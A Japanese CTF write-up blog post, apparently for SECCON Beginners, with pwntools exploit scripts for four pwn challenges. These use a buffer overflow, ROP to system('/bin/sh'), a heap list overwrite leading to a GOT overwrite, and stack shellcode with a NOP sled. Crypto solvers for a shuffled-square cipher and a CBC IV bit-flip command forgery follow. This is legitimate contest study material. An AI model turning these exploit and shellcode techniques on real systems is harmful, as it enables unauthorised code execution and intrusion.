data = "\x27\xd9\x65\x3a\x0f\x25\xe4\x0e\x81\x8a\x59\xbc\x33\xfb\xf9\xfc\x05\xc6\x33\x01\xe2\xb0\xbe\x8e\x4a\x9c\xa9\x46\x73\xb8\x48\x7d\x7f\x73\x22\xec\xdb\xdc\x98\xd9\x90\x61\x80\x7c\x6c\xb3\x36\x42\x3f\x90\x44\x85\x0d\x95\xb1\xee\xfa\x94\x85\x0c\xb9\x9f\x00"
key = "b06aa2f5a5bdf6caa7187873465ce970d04f459d"

S = range(256)
j = 0
out = []

#KSA Phase
for i in range(256):
j = (j + S[i] + ord( key[i % len(key)] )) % 256
S[i] , S[j] = S[j] , S[i]

#PRGA Phaseu
i = j = 0
for char in data:
i = ( i + 1 ) % 256
j = ( j + S[i] ) % 256
S[i] , S[j] = S[j] , S[i]
out.append(chr(ord(char) ^ S[(S[i] + S[j]) % 256]))

print(''.join(out))

pwn

BeginnersBof

単純なBOF
stackのアラインメントの関係でwin+1に飛ばす

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/python3
from pwn import *
import sys

#config
context(os='linux', arch='i386')
context.log_level = 'debug'

FILE_NAME = "./chall"
HOST = "beginnersbof.quals.beginners.seccon.jp"
PORT = 9000

if len(sys.argv) > 1 and sys.argv[1] == 'r':
conn = remote(HOST, PORT)
else:
conn = process(FILE_NAME)

elf = ELF(FILE_NAME)
addr_win = elf.symbols["win"]

def exploit():
bufsize = 0x28
conn.recvline()
conn.sendline("255")
conn.recvline()
payload = b''
payload += p64(addr_win+1)*8
conn.sendline(payload)
conn.interactive()

if __name__ == "__main__":
exploit()

raindrop

単純なROP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!/usr/bin/python3
from pwn import *
import sys

#config
context(os='linux', arch='i386')
context.log_level = 'debug'

FILE_NAME = "./chall"
HOST = "raindrop.quals.beginners.seccon.jp"
PORT = 9001

if len(sys.argv) > 1 and sys.argv[1] == 'r':
conn = remote(HOST, PORT)
else:
conn = process(FILE_NAME)

elf = ELF(FILE_NAME)
addr_main = elf.symbols["main"]
addr_bss = elf.bss()
plt_system = elf.plt["system"]
rdi_ret = 0x401453
rsi_r15_ret = 0x401451

def exploit():
conn.recvuntil("2 | ")
addr_stack = int(conn.recvuntil(" ")[:-1],16)
payload = b'/bin/sh\x00'*3
payload += p64(rdi_ret)
payload += p64(addr_stack-0x20)
#payload += p64(plt_system)
payload += p64(0x4011e5)

conn.sendlineafter("understand?\n", payload)

conn.interactive()

if __name__ == "__main__":
exploit()

simplelist

heap上にoverflowがあるので、単方向リストを書き換えることができる。
EIPがdisableなのでAAR,AAWも簡単に作れる。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#!/usr/bin/python3
from pwn import *
import sys

#import kmpwn
sys.path.append('/home/vagrant/kmpwn')
from kmpwn import *

#config
context(os='linux', arch='i386')
context.log_level = 'debug'

FILE_NAME = "./chall"
HOST = "simplelist.quals.beginners.seccon.jp"
PORT = 9003

if len(sys.argv) > 1 and sys.argv[1] == 'r':
conn = remote(HOST, PORT)
else:
conn = process(FILE_NAME)

elf = ELF(FILE_NAME)
addr_main = elf.symbols["main"]
addr_bss = elf.bss()
got_atoi = elf.got["atoi"]

libc = ELF('./libc-2.33.so')
off_stdout = libc.symbols["_IO_2_1_stdout_"]
off_system = libc.symbols["system"]
rdi_ret = 0x401453
rsi_r15_ret = 0x401451

def add(data):
conn.sendlineafter("> ", "1")
conn.recvuntil("at ")
addr = int(conn.recvline(),16)
conn.sendlineafter(": ", data)
return data

def edit(idx,data):
conn.sendlineafter("> ", "2")
conn.sendlineafter(": ", str(idx))
conn.sendlineafter(": ", data)

def show():
conn.sendlineafter("> ", "3")

def exploit():
add("hoge")
chk2 = add("hoge")
payload = b'\x00'*0x20
payload += p64(0x31)
payload += p64(0x4036c8)
payload += p64(0)
edit(0, payload)
show()
conn.recvuntil("list[2]")
conn.recvuntil(" ")

libc_stdout = align2qword(conn.recvline()[:-1]) # align2qword() is original function
libc_base = libc_stdout - off_stdout
libc_system = libc_base + off_system
print(hex(libc_base))

payload = b'\x00'*0x20
payload += p64(0x31)
payload += p64(got_atoi-8)
payload += p64(0)
edit(0, payload)

edit(2, p64(libc_system))
conn.interactive()

snowdrop

static linkなのでraindropのようにROPはできない。
スタックのアドレスは教えてくれる。
NXがdisableなのでstackにシェルコードを仕込んで,nopスレッドでアドレスを誤魔化す。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/python3
from pwn import *
import sys

#config
context(os='linux', arch='i386')
context.log_level = 'debug'

FILE_NAME = "./chall"

if len(sys.argv) > 1 and sys.argv[1] == 'r':
conn = remote(HOST, PORT)
else:
conn = process(FILE_NAME)

elf = ELF(FILE_NAME)

shellcode = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

def exploit():
conn.recvuntil("6 | ")
addr_stack = int(conn.recvline(),16)
payload = b'a'*0x18
payload += p64(0x401970)*3
payload += p64(addr_stack)
payload += b'\x90'*0x400
payload += shellcode
conn.recvuntil("understand?")
conn.sendline(payload)
conn.interactive()

if __name__ == "__main__":
exploit()

crypto

CoughingFox

1文字ずつ暗号化して、それをシャッフルしている。

1
2
3
4
5
6
7
8
9
10
11
12
from random import shuffle

flag = b"ctf4b{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}"

cipher = []

for i in range(len(flag)):
f = flag[i]
c = (f + i)**2 + i
cipher.append(c)

shuffle(cipher)

ソルバを書くだけ。
一意にも止まらなかった書き直すつもりだったけど、愚直なコードでも復号できたのでヨシ!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import math

cipher = [12147, 20481, 7073, 10408, 26615, 19066, 19363, 10852, 11705, 17445, 3028, 10640, 10623, 13243, 5789, 17436, 12348, 10818, 15891, 2818, 13690, 11671, 6410, 16649, 15905, 22240, 7096, 9801, 6090, 9624, 16660, 18531, 22533, 24381, 14909, 17705, 16389, 21346, 19626, 29977, 23452, 14895, 17452, 17733, 22235, 24687, 15649, 21941, 11472]

flag = "ctf4b{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}"
l_flag = list(flag)

for i in range(len(cipher)):
for j in range(len(flag)):
r = math.sqrt(cipher[i] - j)
if r == int(r):
l_flag[j] = chr(int(r)-j)

print(''.join(l_flag))

Command

平文のコマンドからivと暗号文が渡される。

渡されたivと暗号文を再度渡すと復号した平文のコマンドを実行してくれる。
実行したいgetflagは本来実行できないが、復号時に改変したivを渡せばよい。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

#!/usr/bin/python3
from pwn import *
from Crypto.Util.Padding import pad, unpad
import sys

#config
context(os='linux', arch='i386')
context.log_level = 'debug'

HOST = "command.quals.beginners.seccon.jp"
PORT = 5555
conn = remote(HOST, PORT)

conn.sendlineafter("> ", "1")
conn.sendlineafter("> ", "fizzbuzz")
conn.recvuntil(": ")
iv_enc = conn.recvline()[:-1]
iv = iv_enc[:32]
enc = iv_enc[32:]

cmd_org = pad(b"fizzbuzz",16)
cmd = pad(b"getflag",16)

iv_fake = int(iv,16) ^ int(cmd.hex(),16) ^ int(cmd_org.hex(),16)
fake_iv_enc = format(iv_fake, 'x').encode() + enc

conn.sendlineafter("> ", "2")
conn.sendlineafter("> ", fake_iv_enc)
conn.interactive()

終わりに

ソロ参加でこんなりがっつり頑張ったの久しぶりだった。
とても面白かった。

どうも

ふと思い立って自分のドメインで作ることにした。
色々追加する予定

これまでのhatenaでの記事